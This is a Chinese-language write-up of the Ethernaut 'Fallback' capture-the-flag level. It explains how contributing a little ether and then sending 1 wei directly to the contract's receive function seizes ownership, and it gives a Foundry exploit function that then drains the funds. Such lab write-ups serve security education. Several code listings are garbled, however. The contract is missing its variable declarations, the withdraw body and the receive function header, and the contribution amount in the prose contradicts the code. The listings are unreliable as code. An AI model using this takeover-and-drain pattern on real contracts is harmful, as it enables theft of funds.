# Ethernaut 题库闯关 #1 Fallback

Ethernaut 题库闯关第一题解决方案。

## 挑战题#1 - Fallback

`Fallback`合约源代码如下：

``````// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
require(msg.value &lt; 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
}

require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}``````

## 研究合约

``````function withdraw() public onlyOwner {
}``````

1) `contribute`函数 2) `receive`函数

### `contribute`函数

``````function contribute() public payable {
require(msg.value &lt; 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}``````

### `receive`函数

``````receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}``````

`receive`函数中，只有当与交易一起发送的`wei`数额`>0`并且我们在`contributions[msg.sender]`中的贡献`>0`时，`owner`就会更新`msg.sender`

## 解决方案代码

1) 用最大的`0.001 ether`（通过`require`检查）向合约捐款，调用`contribute`函数，这样`contributions[msg.sender]`将大于0 ； 2) 直接向合约发送`1 wei`，触发`receive`函数，成为新的`owner` 3) 调用`withdraw`，将合约中储存的`ETH`全部掏空!

``````function exploitLevel() internal override {
vm.startPrank(player);

// send the minimum amount to become a contributor
level.contribute{value: 0.0001 ether}();

// send directly to the contract 1 wei, this will allow us to become the new owner
(bool sent, ) = address(level).call{value: 1}("");
require(sent, "Failed to send Ether to the level");

// now that we are the owner of the contract withdraw all the funds
level.withdraw();
vm.stopPrank();
}``````

## 进一步阅读

• OpenZeppelin SafeMath库 (仅在 `Solidity &lt; 0.8`需要)
• `receive` 函数相应的文档

Ethernaut CTF